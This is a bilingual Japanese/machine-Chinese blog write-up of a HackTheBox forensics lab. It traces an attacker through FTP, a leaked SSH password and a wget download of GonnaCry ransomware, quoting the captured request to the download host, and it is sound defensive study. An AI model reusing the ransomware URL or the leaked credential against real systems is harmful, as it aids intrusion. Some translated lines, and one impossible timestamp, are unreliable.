なのですが、FTP通信をちゃんと確認しないとフルパスを答えることはできません。
.reminder
有一个名为 This the file which lead to ssh access of the server
is 的文件,但如果不正确检查 FTP 通信,则无法回答完整路径。tcp.port == 24456
でフィルターをかけると出てくる通信のTCPストリームのうち、attacker -> victimの通信を見てみましょう。
tcp.port == 24456
让我们看一下攻击者 -> TCP 流的受害者的通信,当您使用 .
SIZE .reminder
をする前のディレクトリ移動を見るとCWD opt
をしてからCWD reminders
をしています。
SIZE .reminder
如果你在做之前看一下目录移动,你会发现 CWD reminders
CWD opt
你在做完之后正在做。
他のコマンドの応答をちゃんと見れば確実ですが、/***/*********/.*******r
というプレースホルダなので/opt/reminders/.reminder
が正解。
如果正确查看其他命令的响应,则可以肯定,但由于它是 /***/*********/.*******r
占位符, /opt/reminders/.reminder
因此是正确的答案。
Task 18 任务 18
Whats the SSH password which attacker used to access the server and get full access?
攻击者用来访问服务器并获得完全访问权限的 SSH 密码是什么?
攻撃者がサーバーにアクセスしてフルアクセスを取得するために使用した SSH パスワードは何ですか?
攻击者用于访问服务器并获得完全访问权限的 SSH 密码是什么?
.reminder
の中身を見てみましょう。 .reminder
让我们来看看里面有什么。
A reminder to clean up the github repo. Some sensitive data could have been leaked from there
清理 github 存储库的提醒。一些敏感数据可能从那里泄露
githubのレポジトリで情報漏洩が起きているようです。
github 存储库中似乎存在信息泄漏。
Forelaというのが企業名のようなのでこれでgithubを検索してみます。
Forela似乎是公司的名称,所以让我们用它来搜索github。
色々巡回して、見つかったレポジトリのコミットログを探していくと、以下のコミットログでパスワードが見つかる。
如果您四处寻找您找到的存储库的提交日志,您可以在下面的提交日志中找到密码。
https://github.com/forela-finance/forela-dev/commit/ab04702b3269f016def0521a734380fb12596994
このコミットログで以下のように認証情報が消されているので、ここからSSHパスワードが分かります。
在此提交日志中,身份验证信息被删除,如下所示,因此您可以从此处找到 SSH 密码。
ssh_password: YHUIhnollouhdnoamjndlyvbl398782bapd
ssh_password: YHUIhnollouhdnoamjndlyvbl398782bapd
どの問題でも結構ストーリーを持たせてあります。 每个问题都有一个故事。
なので、文章はなるべく見るようにして、なるべく素直に考えるようにするのがオススメです。
因此,建议您尽可能多地阅读文本,并尽可能诚实地思考。YHUIhnollouhdnoamjndlyvbl398782bapd
が正答。 YHUIhnollouhdnoamjndlyvbl398782bapd
是正确答案。
Task 19 任务 19
Whats the full url from where attacker downloaded ransomware?
攻击者从哪里下载勒索软件的完整 URL 是什么?
攻撃者がランサムウェアをダウンロードした場所の完全な URL は何ですか?
攻击者下载勒索软件的完整 URL 是什么?
問題の流れからすると、FTPから情報を抜いた後はSSHパスワードを見つけて、SSH通信を開始するはずです。
根据问题的流程,从FTP中提取信息后,应找到SSH密码并开始SSH通信。
FTPの最後のパケット番号以降のパケットで、攻撃者のIPアドレスが使われているものを抜いてきましょう。
在使用攻击者 IP 地址的 FTP 的最后一个数据包编号之后拉出数据包。frame.number > 212021 && ip.addr == 3.109.209.43
すると想像通り22/tcpでSSH通信されていることが分かります。
然后,正如您可以想象的那样,您可以看到SSH通信是用22 / tcp完成的。
SSH通信の中身は分かりませんが、SSH通信の期間は分かります。
我不知道 SSH 通信的内容,但我知道 SSH 通信的持续时间。
パケット番号はNo.212579からNo.262571の間です。
数据包编号介于 212579 号和 262571 号之间。frame.number > 212579 && frame.number < 262571
でフィルタリングして何か面白い通信が無いか見てみましょう。
frame.number > 212579 && frame.number < 262571
看看是否有任何有趣的交流。
49991件あるので目grepには厳しいです。
有 49991 例,所以很难 grep。
このフィルタリング状態でプロトコル階層統計を見てみましょう。
让我们看一下具有此筛选状态的协议层次结构统计信息。
設問はダウンロードしたURLを答える問題なので、HTTP通信が記録されていることに気が付きます。
由于问题是回答下载的 URL,您会注意到 HTTP 通信被记录下来。
フィルタリング条件にhttpを足してみましょう。frame.number > 212579 && frame.number < 262571 && http
让我们将 http 添加到过滤条件中。 frame.number > 212579 && frame.number < 262571 && http
No.213543のパケットがヒットします。 命中了 213543 号数据包。
HTTPストリームを見てみましょう。 让我们看一下 HTTP 流。
GET /PKCampaign/Targets/Forela/Ransomware2_server.zip HTTP/1.1 Host: 13.233.179.35 User-Agent: Wget/1.21.2 Accept: */* Accept-Encoding: identity Connection: Keep-Alive
これがまさに欲しかった情報ですね。 这正是我想要的信息。
この情報からURLを復元するとhttp://13.233.179.35/PKCampaign/Targets/Forela/Ransomware2_server.zip
となり、正答です。
如果从此信息恢复 URL,则会得到 , http://13.233.179.35/PKCampaign/Targets/Forela/Ransomware2_server.zip
这是正确答案。
Task 20 任务 20
Whats the tool/util name and version which attacker used to download ransomware?
攻击者用来下载勒索软件的工具/工具名称和版本是什么?
攻撃者がランサムウェアをダウンロードするために使用したツール/ユーティリティの名前とバージョンは何ですか?
攻击者用于下载勒索软件的工具/实用程序的名称和版本是什么?
Task 19のリクエストのHTTP HeaderUser-Agent: Wget/1.21.2
を見れば分かります。
您可以通过查看任务 19 中请求的 HTTP 标头 User-Agent: Wget/1.21.2
来了解这一点。Wget/1.21.2
が答えですね。 Wget/1.21.2
这就是答案。
攻撃者はwgetを使って、このファイルをダウンロードしてきた可能性があります。
攻击者可能已使用 wget 下载此文件。
Task 21 任务 21
Whats the ransomware name?
勒索软件的名称是什么?
ランサムウェアの名前は何ですか? 勒索软件的名称是什么?
Task 19,20で問われているRansomware2_server.zipはパケットキャプチャに含まれているので、
由于任务 19 和 20 中询问的Ransomware2_server.zip包含在数据包捕获中,
「ファイル > オブジェクトをエクスポート > HTTP」で落としてきます。
“将文件>对象> HTTP 导出”。
解凍してbuild.pyを見るとGonnaCry
というキーワードがあり、WannaCry感があったのでこれを答えると正答でした。
当我解开它并查看 build.py 时,有一个关键字,我 GonnaCry
有一种WannaCry的感觉,所以我回答了这个,这是正确的答案。
Appendix: タイムライン 附录:时间线
Knock Knockですが、タイムラインで書くと以下のような流れになっていました。
咚咚咚,但是当我把它写在时间轴上时,它是这样的。
今回はあまり使っていないですが時間が判明したら時間を検索条件として入れて検索していくとより効率良く行動を発見することができます。
这次我用得不多,但是一旦知道了时间,就可以通过输入时间作为搜索条件并搜索来更有效地找到该行为。
2023-03-20T23:37:35Z | パケット取得開始 2023-03-21T10:42:23Z | 3.109.209.43からポートスキャン開始 2023-03-21T10:42:26Z | 3.109.209.43からポートスキャン終了 2023-03-21T10:49:92Z | 3.109.209.43から21/tcpのFTPサーバに対しパスワードスプレー開始 2023-03-21T10:51:04Z | 3.109.209.43から21/tcpのFTPサーバにtony.shephardでログイン成功 2023-03-21T10:55:20Z | 3.109.209.43から21/tcpのFTPサーバにtony.shephardで接続終了 2023-03-21T10:58:50Z | 3.109.209.43から24456/tcpのFTPサーバにabdullah.yasinでログイン成功 2023-03-21T11:10:21Z | 3.109.209.43から24456/tcpのFTPサーバにabdullah.yasinで接続終了 ???????????????????? | https://github.com/forela-finance/forela-dev/commit/ab04702b3269f016def0521a734380fb12596994 からSSHの認証情報を取得 2023-03-21T11:25:42Z | 3.109.209.43から22/tcpのSSHサーバに接続 2023-03-21T11:42:34Z | wgetコマンドでhttp://13.233.179.35/PKCampaign/Targets/Forela/Ransomware2_server.zipをダウンロード 2023-03-21T11:49:17Z | 3.109.209.43から22/tcpのSSHサーバに接続 2023-03-22T02:17:48Z | パケット取得終了
終わりに 最后
今年はSherlocksの紹介と解く流れについて解説を書きました。
今年,我写了一篇关于《神探夏洛克》的介绍和一篇关于解决它的流程的评论。
難しい問題だとマルウェア解析も必要になる問題もありますが、マルウェア解析力についてはまだ本格的に要求されていないような気がします。
如果这是一个难题,还需要恶意软件分析,但我觉得还不需要恶意软件分析能力。
最近色んなイベントに出て各所にてリバエンの圧を感じているので、来年はreversingを頑張りたいと思います。
最近,我一直在参加各种活动,在各个地方都感受到了力巴恩的压力,所以我想尽我所能在明年扭转局面。
今年も界隈の皆さんにはお世話になりました。 感谢社区中每个人今年的支持。
また来年よろしくお願いいたします。 我们期待明年再次与您合作。